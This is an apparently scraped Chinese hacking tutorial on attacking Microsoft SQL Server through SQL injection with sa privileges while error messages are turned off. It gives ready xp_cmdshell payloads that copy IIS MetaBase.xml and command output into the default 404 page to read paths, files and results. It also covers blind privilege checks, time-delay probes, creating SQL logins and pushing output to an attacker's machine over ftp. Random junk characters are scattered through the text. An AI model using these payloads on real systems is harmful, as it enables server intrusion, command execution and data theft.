遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。
& m+ R$ c8 E8 M8 } p3 c0 O5 F# q$ z7 X- h* ?, n# Z
虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。
3 P3 X* Z/ l+ T1 X$ z
, J) t" Y! o% \' b 这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。" D% C$ E! ]6 m5 }# F0 l# N
2 @9 _( H ]) d9 T
IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm3 }' g4 g* R, h5 T2 z; p
9 {, @# r9 M* @7 Q, z3 M0 x: L
得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--
* `. x3 o c. [+ z5 y, T/ P3 T" Y: Z. G! y" ~' R; a
,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。( Q$ W+ I8 o6 L* H3 U: r2 s* T/ f r& U
2 ^1 ?* |5 }3 t% Z/ C9 R: P 执行命令得到回显# r x+ V1 R$ _3 }; ?2 L
9 o# L4 F3 L. P" J5 i
通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--
8 L: t; G8 x; J) A5 P) i$ E
) m' A& g. N6 N- J 得到文件也shi相同,把文件copy到404b.htm就行了
{: ^5 d5 C9 Z) j; f8 Q& K
: c% p: \& g) o9 b" h. J by 28ice, 2008/6/26, l- J* C9 o" A; @
1 q2 u1 o+ S: K: s" z9 @ 摘自 28度的冰# d" y9 C& i4 H& l) ]- o5 U( f
: x S3 h% n% T% d% S# [9 M1 U
盲注判断权限和操作系统版本
% X1 Y, |: [5 R
2 o" I! Q' `. ?- B+ R 首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?
d( P: i$ P, w0 w/ p1 t& S1 O. q' Q. y; o) q; C6 s* [
最简单的,可能以用这样的方法:; O$ W, [$ g8 P9 p8 q
6 z7 q1 p/ g8 S r7 c O 1=(select IS_SRVROLEMEMBER(’sysadmin’))
' t2 ^1 i" o4 g$ S, K1 ?4 l" P
$ q( S. U! |" i! i L 当然,有些情况下,这个方法并不奏效。$ g3 z. P( d+ j" z# G8 @2 n
7 y. p+ w5 K* F/ U( y& R1 m
既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。9 j7 C8 x" ]# n2 O
+ F: z2 `) R2 C2 K. b2 U% J 有个3办法可能以解决这个问题+ j$ d7 i2 I4 T9 M% i
/ ]" J3 W& |: t8 K- O. Y
a.把执行结果写到404b.htm,具体请看我的上一篇文章4 t8 `4 D& s9 \; {" f$ n
0 [- E; [: [5 J2 J5 F
b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟
6 I6 y* _! L' H% ]
" }% ^% ~- }. v; ]+ U/ o c.如果1433端口可能以连接,那干脆新建个sql登录
: F6 B; w- _+ _ K( Y; i* d
S8 w- V' E0 {! e/ B d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数. O. w4 Q. q/ A
( R: b# k* O, e9 Q) w' v
还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下, z. z- O% ?4 g+ ~
8 N& i' X% }$ K
很简单% o6 b; |8 d+ P% q
* X; F0 ]3 G9 [# @1 T& ^ 执行systeminfo; K, o# V! k6 u
! L/ h# t# r5 k4 V# X, s2 w 在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |